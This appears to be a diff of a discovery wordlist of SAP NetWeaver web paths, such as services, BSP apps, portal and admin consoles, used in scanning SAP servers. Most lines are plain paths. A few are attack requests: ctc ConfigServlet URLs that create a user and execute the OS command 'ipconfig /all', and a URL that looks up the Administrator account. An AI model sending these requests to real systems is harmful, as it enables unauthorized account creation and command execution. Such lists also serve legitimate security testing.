/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/faa
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/graphics
|
||||
/sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
/sap/public/bsp/sap/public/graphics/mimes
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/icf_check
|
||||
/sap/public/icf_info
|
||||
/sap/public/icf_info/icr_groups
|
||||
@@ -457,23 +479,14 @@
|
||||
/sap/public/icf_info/urlprefix
|
||||
/sap/public/icman
|
||||
/sap/public/icman/ping
|
||||
/sap/public/icmandir/its/kernel_version.info
|
||||
/sap/public/icmandir/last_update_ITS.txt
|
||||
/sap/public/icmandir/last_update_icmadmin.txt
|
||||
/sap/public/info
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/myssocntl
|
||||
/sap/public/opu
|
||||
/sap/public/opu/resources
|
||||
/sap/public/ping
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/wdisp/admin
|
||||
/sap/wdvd
|
||||
/sap/webcuif
|
||||
@@ -485,26 +498,20 @@
|
||||
/sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
/sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
/sap/webdynpro/sap/wd_analyze_config_user
|
||||
/sapmc/sapmc.html
|
||||
/scripts/wgate
|
||||
/servlet/com.sap.admin.Critical.Actio
|
||||
/sim/
|
||||
/sim/config/testdata.jsp
|
||||
/sim/config/testerror.jsp
|
||||
/sim/index.html
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/socoview
|
||||
/socoview/flddisplay.asp
|
||||
/SQLtrace/index.html
|
||||
/sysconfig
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/tc.lm.webadmin.endtoend.public.app
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/teched/test
|
||||
/TestJDBC_Web
|
||||
/TOdbo
|
||||
/top.html
|
||||
/TSapq
|
||||
/TXmla
|
||||
/uddi/
|
||||
/uddiclient
|
||||
/uddiclient/jsps/index.jsp
|
||||
@@ -512,7 +519,6 @@
|
||||
/useradmin
|
||||
/userhome
|
||||
/utl/UsageTypesInfo
|
||||
/VC
|
||||
/vscantest/
|
||||
/webdynpro/dispatcher
|
||||
/webdynpro/dispatcher/
|
||||
@@ -530,14 +536,11 @@
|
||||
/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
/webdynpro/resources/sap.com/
|
||||
/webdynpro/welcome/Welcome.jsp
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/wsd2wsdl
|
||||
/wsnavigator
|
||||
/wsnavigator/jsps/index.jsp
|
||||
@@ -547,3 +550,1084 @@
|
||||
/wssproc/cert
|
||||
/wssproc/plain
|
||||
/wssproc/ssl
|
||||
@download@
|
||||
ADS-EJB
|
||||
ADS-License
|
||||
AE/index.jsp
|
||||
Adobe
|
||||
AdobeDocumentServices/Config
|
||||
AdobeDocumentServices/Config?wsdl
|
||||
AdobeDocumentServices/Grmg
|
||||
AdobeDocumentServicesSec/Config
|
||||
ApplicationAdminProvider
|
||||
BI_UDC
|
||||
BizcCommLayerAuthoring/Config1
|
||||
BizcCommLayerAuthoring/Config1?wsdl
|
||||
BizcCommLayerUtilities/Config1
|
||||
CAFDataService/Config
|
||||
CAFDataService/Config?wsdl
|
||||
CMSRTS/Config1
|
||||
CMSRTS/Config1?wsdl
|
||||
DataArchivingService
|
||||
GRMGHeartBeat
|
||||
GRMGWSTest/service
|
||||
GRMGWSTest/service?wsdl
|
||||
IGSCustomizingXML
|
||||
IciActionItemService/IciActionItemConf
|
||||
IciActionItemService/IciActionItemConf?wsdl
|
||||
IciChatLineService/IciChatLineConf
|
||||
IciChatLineService/IciChatLineConf?wsdl
|
||||
IciChatSessionService/IciChatSessionConf
|
||||
IciContainerService/IciContainerConf
|
||||
IciEventService/
|
||||
IciEventService/IciEventConf
|
||||
IciEventService/IciEventConf?wsdl
|
||||
IciEventService/sap
|
||||
IciFolderService/IciFolderConf
|
||||
IciFolderService/IciFolderConf?wsdl
|
||||
IciItemService/IciItemConf
|
||||
IciItemService/IciItemConf?wsdl
|
||||
IciMessageService/IciMessageConf
|
||||
IciMessageService/IciMessageConf?wsdl
|
||||
IciMonitorService/IciMonitorConf
|
||||
IciMonitorService/IciMonitorConf?wsdl
|
||||
IciPhoneCallService/IciPhoneCallConf
|
||||
IciPhoneCallService/IciPhoneCallConf?wsdl
|
||||
IciPhoneLineService/IciPhoneLineConf
|
||||
IciSystemService/IciSystemConf
|
||||
IciSystemService/IciSystemConf?wsdl
|
||||
IciUserService/IciUserConf
|
||||
IciUserService/IciUserConf?wsdl
|
||||
KW
|
||||
Lighthammer
|
||||
Modeler
|
||||
OpenSQLMonitors
|
||||
OpenSQLMonitors/
|
||||
OpenSQLMonitors/index.html
|
||||
PerformacetraceTraceApplication
|
||||
RE/index.jsp
|
||||
SAPIKS
|
||||
SAPIKS2
|
||||
SAPIKS2/contentShow.sap
|
||||
SAPIKS2/jsp/adminShow.jsp
|
||||
SAPIrExtHelp
|
||||
SLDStart/plain
|
||||
SLDStart/secure
|
||||
SQLTrace
|
||||
SQLtrace/index.html
|
||||
TOdbo
|
||||
TSapq
|
||||
TXmla
|
||||
TestJDBC_Web
|
||||
VC
|
||||
WSConnector/Config1
|
||||
WSConnector/Config1?wsdl
|
||||
WSConnector/Config2
|
||||
_default
|
||||
apidocs/
|
||||
apidocs/allclasses-frame.html
|
||||
apidocs/com/sap/engine/connector/connection/IConnection.html
|
||||
apidocs/com/sap/engine/deploy/manager/Deploymanager.html
|
||||
apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html
|
||||
apidocs/com/sap/engine/deploy/manager/LoginInfo.html
|
||||
bcb
|
||||
bcb/
|
||||
bcb/bcbadmHome.jsp
|
||||
bcb/bcbadmNavigation.jsp
|
||||
bcb/bcbadmSettings.jsp
|
||||
bcb/bcbadmStart.jsp
|
||||
bcb/bcbadmSystemInfo.jsp
|
||||
bcbtest
|
||||
bcbtest/start.jsp
|
||||
bwtest
|
||||
caf
|
||||
ccsui
|
||||
com~tc~lm~webadmin~httpprovider~web
|
||||
ctc
|
||||
ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=blabla,PASSWORD=blabla
|
||||
ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig%20/all
|
||||
dispatcher
|
||||
dswsbobje
|
||||
dtr_lite
|
||||
ecatt
|
||||
entrypoints/recent
|
||||
examples
|
||||
examples.html
|
||||
examples/
|
||||
examples_frame.html
|
||||
exchangeProfile
|
||||
exchangeProfile/
|
||||
guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a
|
||||
htmlb
|
||||
htmlb/
|
||||
htmlb/index.html
|
||||
index.html
|
||||
inspection.wsil
|
||||
ipcpricing/ui/
|
||||
irj
|
||||
irj/go/km/basicsearch
|
||||
irj/go/km/details
|
||||
irj/go/km/docs
|
||||
irj/go/km/docs/etc/public/mimes/images
|
||||
irj/go/km/docs/etc/xmlforms
|
||||
irj/go/km/docs/ume/users
|
||||
irj/go/km/highlightedcontent
|
||||
irj/go/km/navigation
|
||||
irj/go/km/navigation/
|
||||
irj/go/km/navigation/ume/users
|
||||
irj/portal
|
||||
irj/portalapps
|
||||
irj/portalapps/com.petsmart.portal.navigation.masthead.idle_logout
|
||||
irj/portalapps/com.sap.portal.design.portaldesigndata
|
||||
irj/portalapps/com.sap.portal.design.urdesigndata
|
||||
irj/portalapps/com.sap.portal.epcf.loader
|
||||
irj/portalapps/com.sap.portal.navigation.detailedtree
|
||||
irj/sdn/soa-discovery
|
||||
irj/servlet
|
||||
irj/servlet/prt
|
||||
irj/servlet/prt/portal
|
||||
irj/servlet/prt/portal/
|
||||
irj/servlet/prt/portal/prtroot
|
||||
irj/servlet/prt/portal/prtroot/PortalAnywhere.Go
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.basicsearch
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.docs -> webdav
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.highlightedcontent
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.navigation
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.cm.uidetails
|
||||
irj/servlet/prt/portal/prtroot/com.sap.km.home_ws
|
||||
irj/servlet/prt/portal/prtroot/com.sap.netweaver.kmc.people.PeopleDetails?Uri=/ume/users/USER.PRIVATE_DATASOURCE.un%253AAdministrator.usr
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.terminator
|
||||
irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.loader.wdscriptblockprovider
|
||||
irj/servlet/prt/portal/prtroot/pcd!(*)
|
||||
irj/servlet/prt/portal/prttarget/uidpwlogon/prteventname/performchangepassword
|
||||
lcrabapapi
|
||||
logon
|
||||
logon/index.jsp
|
||||
logon/logonServlet
|
||||
logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp
|
||||
logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet
|
||||
main.html
|
||||
mbeanreg
|
||||
meSync
|
||||
meSync/HttpGRMGTest.html
|
||||
mmr
|
||||
mmr/
|
||||
modeller/
|
||||
modeller/index.html
|
||||
monitoring
|
||||
monitoringProvierRoot
|
||||
nwa
|
||||
performanceProvierRoot
|
||||
pmi
|
||||
portal
|
||||
portalapps
|
||||
rep/build_info.html
|
||||
rep/build_info.jsp
|
||||
rep/start/index.jsp
|
||||
run/build_info.html
|
||||
run/build_info.jsp
|
||||
rwb/version.html
|
||||
saml
|
||||
samlssodemo_dest
|
||||
samlssodemo_source
|
||||
sap
|
||||
sap/
|
||||
sap/IStest
|
||||
sap/admin
|
||||
sap/admin/default.html
|
||||
sap/admin/index.html
|
||||
sap/ap
|
||||
sap/bc
|
||||
sap/bc/
|
||||
sap/bc/BEx
|
||||
sap/bc/FormToRfc
|
||||
sap/bc/FormToRfc/soap
|
||||
sap/bc/IDoc_XML
|
||||
sap/bc/MIDSD
|
||||
sap/bc/MJC
|
||||
sap/bc/MJC/
|
||||
sap/bc/MJC/mi_host
|
||||
sap/bc/MJC/mi_mds
|
||||
sap/bc/MJC/mi_service
|
||||
sap/bc/MJC/mi_services
|
||||
sap/bc/MY_NEW_SERV99
|
||||
sap/bc/Mi_host_http
|
||||
sap/bc/Mime
|
||||
sap/bc/bsp
|
||||
sap/bc/bsp/
|
||||
sap/bc/bsp/esh_os_service/favicon.gif
|
||||
sap/bc/bsp/sap
|
||||
sap/bc/bsp/sap/
|
||||
sap/bc/bsp/sap/SXSLT_DEMO
|
||||
sap/bc/bsp/sap/absenceform_new
|
||||
sap/bc/bsp/sap/alertinbox
|
||||
sap/bc/bsp/sap/alertinboxwap
|
||||
sap/bc/bsp/sap/bexlogon
|
||||
sap/bc/bsp/sap/bkbtest
|
||||
sap/bc/bsp/sap/bkbtest_sch
|
||||
sap/bc/bsp/sap/brf_export_xml
|
||||
sap/bc/bsp/sap/brf_info
|
||||
sap/bc/bsp/sap/bsp_dlc_frcmp
|
||||
sap/bc/bsp/sap/bsp_model
|
||||
sap/bc/bsp/sap/bsp_veri
|
||||
sap/bc/bsp/sap/bsp_verificatio
|
||||
sap/bc/bsp/sap/bsp_vhelp
|
||||
sap/bc/bsp/sap/bsp_wd_base
|
||||
sap/bc/bsp/sap/bsp_wd_comp_spl
|
||||
sap/bc/bsp/sap/bsp_wd_compbase
|
||||
sap/bc/bsp/sap/bsp_wd_ddlb_spl
|
||||
sap/bc/bsp/sap/bsp_wd_tree_spl
|
||||
sap/bc/bsp/sap/bspwd_basics
|
||||
sap/bc/bsp/sap/bspwd_cmp_embed
|
||||
sap/bc/bsp/sap/bspwd_simple
|
||||
sap/bc/bsp/sap/btf_ext_demo
|
||||
sap/bc/bsp/sap/ccms_mc
|
||||
sap/bc/bsp/sap/certmap
|
||||
sap/bc/bsp/sap/certreq
|
||||
sap/bc/bsp/sap/crm_bm
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dis
|
||||
sap/bc/bsp/sap/crm_bsp_bab_dss
|
||||
sap/bc/bsp/sap/crm_bsp_bab_exi
|
||||
sap/bc/bsp/sap/crm_bsp_bab_fra
|
||||
sap/bc/bsp/sap/crm_bsp_bab_pan
|
||||
sap/bc/bsp/sap/crm_bsp_f1_help
|
||||
sap/bc/bsp/sap/crm_bsp_f4_help
|
||||
sap/bc/bsp/sap/crm_bsp_face
|
||||
sap/bc/bsp/sap/crm_bsp_frame
|
||||
sap/bc/bsp/sap/crm_bsp_listper
|
||||
sap/bc/bsp/sap/crm_bsp_lst_prt
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_fr
|
||||
sap/bc/bsp/sap/crm_bsp_xbab_pa
|
||||
sap/bc/bsp/sap/crm_ei_cmp_admn
|
||||
sap/bc/bsp/sap/crm_ic_check
|
||||
sap/bc/bsp/sap/crm_ic_ise
|
||||
sap/bc/bsp/sap/crm_ic_ise/editor
|
||||
sap/bc/bsp/sap/crm_ic_mcm
|
||||
sap/bc/bsp/sap/crm_ic_preview
|
||||
sap/bc/bsp/sap/crm_ic_xmledit
|
||||
sap/bc/bsp/sap/crm_ici_tst_cat
|
||||
sap/bc/bsp/sap/crm_ml_preview
|
||||
sap/bc/bsp/sap/crm_preview
|
||||
sap/bc/bsp/sap/crm_prt_url_dis
|
||||
sap/bc/bsp/sap/crm_thtmlb_util
|
||||
sap/bc/bsp/sap/crm_ui_frame
|
||||
sap/bc/bsp/sap/crm_ui_start
|
||||
sap/bc/bsp/sap/crm_xml_test
|
||||
sap/bc/bsp/sap/crmcmp_bpident/
|
||||
sap/bc/bsp/sap/crmcmp_brfcase
|
||||
sap/bc/bsp/sap/crmcmp_hdr
|
||||
sap/bc/bsp/sap/crmcmp_hdr_std
|
||||
sap/bc/bsp/sap/crmcmp_ic_frame
|
||||
sap/bc/bsp/sap/decode_url
|
||||
sap/bc/bsp/sap/ecteched
|
||||
sap/bc/bsp/sap/esh_sap_link
|
||||
sap/bc/bsp/sap/esh_sapgui_exe
|
||||
sap/bc/bsp/sap/frontend_print
|
||||
sap/bc/bsp/sap/graph_bsp_test
|
||||
sap/bc/bsp/sap/graph_bsp_test/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_chart
|
||||
sap/bc/bsp/sap/graph_tut_chart/Mimes
|
||||
sap/bc/bsp/sap/graph_tut_jnet
|
||||
sap/bc/bsp/sap/graph_tut_jnet/Mimes
|
||||
sap/bc/bsp/sap/graph_tutorials
|
||||
sap/bc/bsp/sap/graph_tutorials/mimes
|
||||
sap/bc/bsp/sap/gsbirp
|
||||
sap/bc/bsp/sap/hap_document
|
||||
sap/bc/bsp/sap/hap_q_profile
|
||||
sap/bc/bsp/sap/hr_expert
|
||||
sap/bc/bsp/sap/htmlb_samples
|
||||
sap/bc/bsp/sap/ic_base
|
||||
sap/bc/bsp/sap/ic_frw_notify
|
||||
sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||
sap/bc/bsp/sap/iccmp_hdr_cntnt
|
||||
sap/bc/bsp/sap/iccmp_header
|
||||
sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||
sap/bc/bsp/sap/icf
|
||||
sap/bc/bsp/sap/icf_notify_poll
|
||||
sap/bc/bsp/sap/icfrecorder
|
||||
sap/bc/bsp/sap/icm
|
||||
sap/bc/bsp/sap/it00
|
||||
sap/bc/bsp/sap/it01
|
||||
sap/bc/bsp/sap/it02
|
||||
sap/bc/bsp/sap/it03
|
||||
sap/bc/bsp/sap/it04
|
||||
sap/bc/bsp/sap/it05
|
||||
sap/bc/bsp/sap/itsm
|
||||
sap/bc/bsp/sap/me_fw_install
|
||||
sap/bc/bsp/sap/merep_app_meta
|
||||
sap/bc/bsp/sap/ppm
|
||||
sap/bc/bsp/sap/ppm_detail
|
||||
sap/bc/bsp/sap/public
|
||||
sap/bc/bsp/sap/public/
|
||||
sap/bc/bsp/sap/public/FormGraphics
|
||||
sap/bc/bsp/sap/public/bc
|
||||
sap/bc/bsp/sap/public/graphics
|
||||
sap/bc/bsp/sap/rmpspb_case
|
||||
sap/bc/bsp/sap/rmpspb_casenote
|
||||
sap/bc/bsp/sap/rsrthemes_iview
|
||||
sap/bc/bsp/sap/sam_demo
|
||||
sap/bc/bsp/sap/sam_notifying
|
||||
sap/bc/bsp/sap/sam_sess_queue
|
||||
sap/bc/bsp/sap/sapsign
|
||||
sap/bc/bsp/sap/sapterm
|
||||
sap/bc/bsp/sap/sbsp_dal_demo
|
||||
sap/bc/bsp/sap/sbspext_bsp
|
||||
sap/bc/bsp/sap/sbspext_htmlb
|
||||
sap/bc/bsp/sap/sbspext_phtmlb
|
||||
sap/bc/bsp/sap/sbspext_table
|
||||
sap/bc/bsp/sap/sbspext_xhtmlb
|
||||
sap/bc/bsp/sap/scpbspconvertuc
|
||||
sap/bc/bsp/sap/sem_upwb
|
||||
sap/bc/bsp/sap/sf_webform_01
|
||||
sap/bc/bsp/sap/sf_webform_02
|
||||
sap/bc/bsp/sap/sf_webform_03
|
||||
sap/bc/bsp/sap/sf_webform_04
|
||||
sap/bc/bsp/sap/sfint_demo01
|
||||
sap/bc/bsp/sap/sfint_demo02
|
||||
sap/bc/bsp/sap/sfint_demo03
|
||||
sap/bc/bsp/sap/sfint_demo04
|
||||
sap/bc/bsp/sap/sicf_login_test
|
||||
sap/bc/bsp/sap/sicf_login_test/
|
||||
sap/bc/bsp/sap/sicf_login_test/test
|
||||
sap/bc/bsp/sap/sicf_login_test/testNoRedirect
|
||||
sap/bc/bsp/sap/smart_forms
|
||||
sap/bc/bsp/sap/spi_admin
|
||||
sap/bc/bsp/sap/spi_monitor
|
||||
sap/bc/bsp/sap/spi_procmonitor
|
||||
sap/bc/bsp/sap/srm_demo_bspext
|
||||
sap/bc/bsp/sap/srm_demo_note
|
||||
sap/bc/bsp/sap/srm_demo_record
|
||||
sap/bc/bsp/sap/srm_doc_test
|
||||
sap/bc/bsp/sap/srm_gensp_query
|
||||
sap/bc/bsp/sap/srm_note
|
||||
sap/bc/bsp/sap/srm_prop
|
||||
sap/bc/bsp/sap/srm_record
|
||||
sap/bc/bsp/sap/srmclfrm
|
||||
sap/bc/bsp/sap/srmps_browser
|
||||
sap/bc/bsp/sap/srmps_favorites
|
||||
sap/bc/bsp/sap/srmps_history
|
||||
sap/bc/bsp/sap/srmps_metadata
|
||||
sap/bc/bsp/sap/srmps_search
|
||||
sap/bc/bsp/sap/srt_browser
|
||||
sap/bc/bsp/sap/ssf_techinf
|
||||
sap/bc/bsp/sap/ssfdemodigsig
|
||||
sap/bc/bsp/sap/ssfdemodigsig2
|
||||
sap/bc/bsp/sap/swfmod_portal
|
||||
sap/bc/bsp/sap/swh_demo_calc
|
||||
sap/bc/bsp/sap/swn_config
|
||||
sap/bc/bsp/sap/swn_message1
|
||||
sap/bc/bsp/sap/swn_wiexecute
|
||||
sap/bc/bsp/sap/swxtraagent
|
||||
sap/bc/bsp/sap/swxtrareq
|
||||
sap/bc/bsp/sap/sxidemo_agcy_ui
|
||||
sap/bc/bsp/sap/sxms_alertrules
|
||||
sap/bc/bsp/sap/sxslt_training
|
||||
sap/bc/bsp/sap/system
|
||||
sap/bc/bsp/sap/system640
|
||||
sap/bc/bsp/sap/system_priv_01
|
||||
sap/bc/bsp/sap/system_priv_02
|
||||
sap/bc/bsp/sap/system_priv_03
|
||||
sap/bc/bsp/sap/system_private
|
||||
sap/bc/bsp/sap/system_public
|
||||
sap/bc/bsp/sap/system_test
|
||||
sap/bc/bsp/sap/t_sam_demo
|
||||
sap/bc/bsp/sap/thtmlb_scripts
|
||||
sap/bc/bsp/sap/thtmlb_styles
|
||||
sap/bc/bsp/sap/tunguska
|
||||
sap/bc/bsp/sap/tunguska_detail
|
||||
sap/bc/bsp/sap/tutorial_1
|
||||
sap/bc/bsp/sap/tutorial_2
|
||||
sap/bc/bsp/sap/tutorial_2htmlb
|
||||
sap/bc/bsp/sap/tutorial_3
|
||||
sap/bc/bsp/sap/tutorial_3_mvc
|
||||
sap/bc/bsp/sap/tutorial_4
|
||||
sap/bc/bsp/sap/tutorial_4_mvc
|
||||
sap/bc/bsp/sap/tutorial_cache
|
||||
sap/bc/bsp/sap/uddiclientfind
|
||||
sap/bc/bsp/sap/uddiclpublish
|
||||
sap/bc/bsp/sap/uicmp_ltx
|
||||
sap/bc/bsp/sap/upwb_sem
|
||||
sap/bc/bsp/sap/upwb_test_otr
|
||||
sap/bc/bsp/sap/upx_exec
|
||||
sap/bc/bsp/sap/upx_exec2
|
||||
sap/bc/bsp/sap/uws_form_servic
|
||||
sap/bc/bsp/sap/wap_push
|
||||
sap/bc/bsp/sap/webdynprodemos
|
||||
sap/bc/bsp/sap/wp_sess_test2
|
||||
sap/bc/bsp/sap/wscb
|
||||
sap/bc/bsp/sap/wsi_oci_bsp
|
||||
sap/bc/bsp/sap/wsi_oci_bsp_mvc
|
||||
sap/bc/bsp/sap/xi_pf_perf_moni
|
||||
sap/bc/bsp/sap/xi_pf_test
|
||||
sap/bc/bsp/sap/xmb_bsp_log
|
||||
sap/bc/bsp/scmb
|
||||
sap/bc/bsp/scmb/df_web2
|
||||
sap/bc/bsp_dev
|
||||
sap/bc/bw_test
|
||||
sap/bc/cachetest
|
||||
sap/bc/ccms
|
||||
sap/bc/ccms/
|
||||
sap/bc/ccms//Specto
|
||||
sap/bc/ccms/MarketSet
|
||||
sap/bc/ccms/monitoring
|
||||
sap/bc/ccms/monitoring/GRMG_APP
|
||||
sap/bc/ccms/monitoringCCMS_XML
|
||||
sap/bc/ce_url
|
||||
sap/bc/cimom
|
||||
sap/bc/cms
|
||||
sap/bc/contentserver
|
||||
sap/bc/crm_bsp_dl
|
||||
sap/bc/dal
|
||||
sap/bc/dal/demoB
|
||||
sap/bc/daldemoA
|
||||
sap/bc/doc
|
||||
sap/bc/doc/
|
||||
sap/bc/doc/browser
|
||||
sap/bc/doc/mast
|
||||
sap/bc/doc/meta
|
||||
sap/bc/doc/metadata
|
||||
sap/bc/doc/tmpl
|
||||
sap/bc/doc/tran
|
||||
sap/bc/docu
|
||||
sap/bc/dr
|
||||
sap/bc/ecatt
|
||||
sap/bc/ecatt/
|
||||
sap/bc/ecatt/ecatt_recorder
|
||||
sap/bc/ecatt/ecattping
|
||||
sap/bc/ecatt/log_provider
|
||||
sap/bc/echo
|
||||
sap/bc/echo/
|
||||
sap/bc/echo/logon
|
||||
sap/bc/echo/logon_base64
|
||||
sap/bc/echo/redirect
|
||||
sap/bc/error
|
||||
sap/bc/error/
|
||||
sap/bc/error/list
|
||||
sap/bc/error/template
|
||||
sap/bc/error/webgui
|
||||
sap/bc/esf
|
||||
sap/bc/formabsdelete
|
||||
sap/bc/fp
|
||||
sap/bc/fpads
|
||||
sap/bc/generate
|
||||
sap/bc/generate/poll
|
||||
sap/bc/graphics
|
||||
sap/bc/graphics/net
|
||||
sap/bc/gui
|
||||
sap/bc/gui/its
|
||||
sap/bc/gui/sap
|
||||
sap/bc/gui/sap/its/
|
||||
sap/bc/gui/sap/its/BWSP
|
||||
sap/bc/gui/sap/its/BWWF_WI_DECI
|
||||
sap/bc/gui/sap/its/BWWI_EXECUTE
|
||||
sap/bc/gui/sap/its/CCMS_APPSRVLIS
|
||||
sap/bc/gui/sap/its/CCMS_DBBUFARCH
|
||||
sap/bc/gui/sap/its/CERTMAP
|
||||
sap/bc/gui/sap/its/CERTREQ
|
||||
sap/bc/gui/sap/its/CRM_CIC_RABOX
|
||||
sap/bc/gui/sap/its/GRM_WRAPPER
|
||||
sap/bc/gui/sap/its/MININOTES
|
||||
sap/bc/gui/sap/its/MY_PROFILEMATC
|
||||
sap/bc/gui/sap/its/RSAU_STATUS
|
||||
sap/bc/gui/sap/its/SAPSIGN
|
||||
sap/bc/gui/sap/its/SAP_GENERATE
|
||||
sap/bc/gui/sap/its/SSFIDEMODIGSIG
|
||||
sap/bc/gui/sap/its/STATUSPANEL
|
||||
sap/bc/gui/sap/its/STERM_ITS
|
||||
sap/bc/gui/sap/its/TEST_XMLPARSER
|
||||
sap/bc/gui/sap/its/WSI_OCI_ITS
|
||||
sap/bc/gui/sap/its/XML_DTD_01
|
||||
sap/bc/gui/sap/its/alinkviewer
|
||||
sap/bc/gui/sap/its/bwca
|
||||
sap/bc/gui/sap/its/designs
|
||||
sap/bc/gui/sap/its/my_qualis
|
||||
sap/bc/gui/sap/its/my_requirement
|
||||
sap/bc/gui/sap/its/sample
|
||||
sap/bc/gui/sap/its/sample/
|
||||
sap/bc/gui/sap/its/sample/IAC_CALENDAR
|
||||
sap/bc/gui/sap/its/sample/IAC_FLIGHT
|
||||
sap/bc/gui/sap/its/sample/IAC_INPUT
|
||||
sap/bc/gui/sap/its/sample/IAC_SE38
|
||||
sap/bc/gui/sap/its/sample/IAC_TABLE
|
||||
sap/bc/gui/sap/its/sample/IAC_TEXTEDIT
|
||||
sap/bc/gui/sap/its/sample/IAC_TOOLBAR
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE1
|
||||
sap/bc/gui/sap/its/sample/IAC_TREE2
|
||||
sap/bc/gui/sap/its/sample/iAC_HTML
|
||||
sap/bc/gui/sap/its/test
|
||||
sap/bc/gui/sap/its/test/
|
||||
sap/bc/gui/sap/its/test/it
|
||||
sap/bc/gui/sap/its/test/it/
|
||||
sap/bc/gui/sap/its/test/it/IT12
|
||||
sap/bc/gui/sap/its/test/it/IT13
|
||||
sap/bc/gui/sap/its/test/it/ITRBX
|
||||
sap/bc/gui/sap/its/test/it/it00
|
||||
sap/bc/gui/sap/its/test/it/it19
|
||||
sap/bc/gui/sap/its/test/webgui_end
|
||||
sap/bc/gui/sap/its/test/webgui_tj
|
||||
sap/bc/gui/sap/its/test/webgui_txend
|
||||
sap/bc/gui/sap/its/webgui
|
||||
sap/bc/gui/sap/its/webgui/!
|
||||
sap/bc/icf
|
||||
sap/bc/icf/
|
||||
sap/bc/icf/demo
|
||||
sap/bc/icf/demo/example_1
|
||||
sap/bc/icf/recorder
|
||||
sap/bc/icf/verification
|
||||
sap/bc/icman
|
||||
sap/bc/icman/test01
|
||||
sap/bc/idoc_xml
|
||||
sap/bc/igs_data
|
||||
sap/bc/kw
|
||||
sap/bc/kw/
|
||||
sap/bc/kw/K/Link
|
||||
sap/bc/kw/fs
|
||||
sap/bc/kw/mime
|
||||
sap/bc/kw/skwr
|
||||
sap/bc/mlt
|
||||
sap/bc/mlt/
|
||||
sap/bc/mlt//vb
|
||||
sap/bc/mlt/slim
|
||||
sap/bc/mlt/slim/
|
||||
sap/bc/mlt/slim//lang_plus
|
||||
sap/bc/mlt/slim/branching
|
||||
sap/bc/mlt/slim/pcx
|
||||
sap/bc/mlt/slim/pcx_plus
|
||||
sap/bc/mlt/test
|
||||
sap/bc/mlt/tmware
|
||||
sap/bc/mlt/trados
|
||||
sap/bc/notify
|
||||
sap/bc/notify/polling
|
||||
sap/bc/ping
|
||||
sap/bc/print
|
||||
sap/bc/rehm
|
||||
sap/bc/report
|
||||
sap/bc/sapits_mimes
|
||||
sap/bc/smart_forms
|
||||
sap/bc/soap
|
||||
sap/bc/soap/
|
||||
sap/bc/soap/doc
|
||||
sap/bc/soap/ici
|
||||
sap/bc/soap/ici_ssl
|
||||
sap/bc/soap/rfc
|
||||
sap/bc/soap/wsdl
|
||||
sap/bc/soap/wsdl11
|
||||
sap/bc/soap/wsdlservices
|
||||
sap/bc/spi_gate
|
